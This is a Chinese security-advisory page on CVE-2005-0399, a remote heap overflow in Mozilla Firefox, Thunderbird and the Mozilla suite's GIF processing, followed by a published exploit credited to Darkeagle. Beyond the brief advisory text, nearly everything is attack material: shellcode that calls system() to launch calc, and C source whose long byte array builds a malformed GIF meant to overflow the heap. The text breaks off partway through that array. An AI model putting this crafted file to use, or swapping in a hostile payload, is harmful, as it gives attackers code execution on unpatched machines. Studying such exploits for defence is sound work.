安全研究
 安全漏洞 
	Mozilla GIF图像处理库远程堆溢出漏洞
发布日期:2005-03-23
更新日期:2007-02-28
受影响系统:
Mozilla Firefox < 1.0.2描述:
Mozilla Thunderbird < 1.0.2
Mozilla Mozilla < 1.7.6
BUGTRAQ ID: 12881
CVE(CAN) ID: CVE-2005-0399
Firefox是一款非常流行的开源WEB浏览器。Thunderbird是一个邮件客户端,支持IMAP、POP邮件协议以及HTML邮件格式。
多个Mozilla产品的GIF2.cpp受到堆缓冲区溢出漏洞的影响,远程攻击者用构造了Netscape extension 2时钟和缓冲区大小的GIF图形,可造成任意代码执行,并未授权访问受影响计算机。
<*来源:Mark Dowd
链接:http://xforce.iss.net/xforce/xfdb/19269
*>
测试方法:
警  告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Mozilla FireFox <= 1.0.1 Remote GIF Heap Overflow Exploit
by Darkeagle of uKt Researcherz
darkeagle [at] linkin-park [dot] cc
greetz to all my friends }8{)
and... Happy Birthday uKt research team }8{) 1 year }8{)
http://unl0ck.org
!!!-script kiddie edition-!!!
^^^^^^^^^^^^^^^^^^^^
U U k kk ttttttt
U U k k tt
U U k kk tt (c) '04-'05 55k7 researcherz
UUU k kk tt
^^^^^^^^^^^^^^^^^^^^^^^^^
successfully tested on: Notebook LogyCom Expert Intel Pentium IV 2.8 Ghz, 256RAM,
40GB, 64mb Video SiS, WinXP SP1 RuS Pirated Edition
exploit calls Standart Windows Calculator
shellcode:
-----------------------
xor eax, eax
push eax
push 0x636c6163 ; calc
push esp
pop ebx
push eax
push ebx
mov ecx, 0x77c18044 ; moved system() in %ecx
call ecx ; call system()
-----------------------
btw c0wZ happy birthday }:@
,-"""-,
)~ ~( ------------------------------------------------
.-'( )`-, | m00[ov3r]: |
`~o`d\ /b`o~` | "i would drop you if you'll release exploit" |
| | | |
(6___6) | hahaha m00 wanna ownZ j00 <:@ |
`--U` | |
------------------------------------------------
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#define FILENAME "firesnake.gif"
unsigned char data1[] = {
0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x10, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFF, 0x0B,
0x4E, 0x45, 0x54, 0x53, 0x43, 0x41, 0x50, 0x45, 0x32, 0x2E, 0x30, 0x55, 0x02, 0x00, 0x10, 0x00,
0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x07, 0x02, 0xF8, 0xFF, 0xFF, 0xFF, 0x41, 0x41, 0x64, 0x02, 0x14, 0x00, 0x00, 0x00, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x61, 0x61, 0x61, 0x61, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x42, 0x42, 0x60, 0x00, 0x90, 0x00, 0x42, 0x42, 0x42,
0x42, 0x30, 0x02, 0x02, 0x00, 0x00, 0xE0, 0xFD, 0x7F, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
